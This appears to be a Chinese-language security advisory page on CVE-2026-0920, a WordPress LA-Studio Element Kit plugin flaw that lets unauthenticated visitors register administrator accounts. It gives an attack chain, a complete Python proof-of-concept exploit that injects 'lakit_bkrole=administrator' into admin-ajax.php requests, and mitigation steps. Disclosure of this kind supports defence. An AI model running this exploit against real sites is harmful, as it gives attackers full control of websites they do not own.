IPBUF安全漏洞报告
English
CVE-2026-0920 CVSS 9.8 严重

CVE-2026-0920 WordPress LA-Studio Element Kit插件管理员账户创建漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-0920
漏洞类型
不安全的权限分配/权限提升
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LA-Studio Element Kit for Elementor (WordPress插件)

相关标签

CVE-2026-0920WordPress插件漏洞权限提升不安全的权限分配管理员账户创建LA-Studio Element KitElementor插件未授权访问CVSS 9.8Critical漏洞

漏洞概述

CVE-2026-0920是WordPress平台LA-Studio Element Kit插件中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞存在于插件的用户注册功能中,由于'ajax_register_handle'函数未能正确验证和限制用户注册时的角色参数,导致攻击者可以在注册过程中指定任意用户角色(包括管理员角色)。未经身份认证的攻击者只需在注册请求中注入'lakit_bkrole'参数并设置为'administrator',即可在目标WordPress网站上创建具有完整管理权限的账户。一旦成功利用,攻击者可以完全控制整个WordPress网站,包括修改内容、上传恶意文件、安装后门等。此漏洞影响该插件所有版本直至1.5.6.3,鉴于其高危性,建议所有用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的核心问题在于LA-Studio Element Kit插件的ajax_register_handle函数存在权限验证缺陷。在正常的WordPress用户注册流程中,新用户默认被分配为订阅者(subscriber)或贡献者(contributor)等低权限角色。然而,该插件在处理注册请求时,直接将用户提交的'lakit_bkrole'参数值作为新用户的角色,而没有进行任何权限验证或角色白名单检查。攻击者可以利用这一点,在注册表单中插入额外的POST参数'lakit_bkrole=administrator',从而绕过正常注册流程的角色限制。插件代码中包含对override.php文件中第301行附近的逻辑,攻击者正是利用了这个不安全的数据处理方式。由于插件的注册功能通常对所有访问者开放(无需认证),这使得任何人都可以构造恶意请求来注册管理员账户,进而完全接管网站。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站是否使用LA-Studio Element Kit插件(版本≤1.5.6.3),通过检查页面源码或插件目录特征进行确认
STEP 2
步骤2
攻击者构造恶意注册请求,拦截或直接构造POST请求到WordPress的admin-ajax.php端点,在请求参数中添加'lakit_bkrole=administrator'
STEP 3
步骤3
攻击者发送包含权限提升参数的注册请求,插件的ajax_register_handle函数未验证该参数,直接使用攻击者指定的值作为新用户角色
STEP 4
步骤4
WordPress系统成功创建管理员账户,攻击者收到注册成功响应
STEP 5
步骤5
攻击者使用创建的管理员凭据登录WordPress后台,完全控制网站,可上传webshell、修改内容或进一步横向渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-0920 PoC - LA-Studio Element Kit Admin Account Creation # Target: WordPress site with LA-Studio Element Kit plugin <= 1.5.6.3 def create_admin_account(target_url, username, email): """ Exploit for CVE-2026-0920 Creates an administrator account via the vulnerable ajax_register_handle function """ # Target endpoint (typical WordPress AJAX handler) endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # Payload with lakit_bkrole parameter set to administrator data = { 'action': 'ajax_register_handle', 'lakit_bkrole': 'administrator', # Key parameter for privilege escalation 'user_login': username, 'user_email': email, 'user_password': 'P@ssw0rd123!', 'user_password_re': 'P@ssw0rd123!' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: print(f'[*] Sending exploit request to {endpoint}') print(f'[*] Attempting to create admin user: {username}') response = requests.post(endpoint, data=data, headers=headers, timeout=30) if response.status_code == 200: print('[+] Request sent successfully') print(f'[*] Response: {response.text[:500]}') if 'success' in response.text.lower() or 'register' in response.text.lower(): print('[+] Admin account creation may have succeeded!') print(f'[+] Login at: {target_url}/wp-admin/') return True print('[-] Exploit may have failed - check manually') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve-2026-0920.py <target_url> <username> <email>') print('Example: python cve-2026-0920.py http://target.com eviladmin [email protected]') sys.exit(1) create_admin_account(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

LA-Studio Element Kit for Elementor <= 1.5.6.3

防御指南

临时缓解措施
在官方补丁发布之前,建议立即采取以下临时缓解措施:1)暂时禁用LA-Studio Element Kit插件的注册功能或整个插件;2)使用防火墙规则阻止包含'lakit_bkrole'参数的请求;3)限制WordPress的user_register钩子,确保只有特定角色可以被注册;4)立即检查并删除任何可疑新创建的管理员账户;5)启用双因素认证保护现有管理员账户安全。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表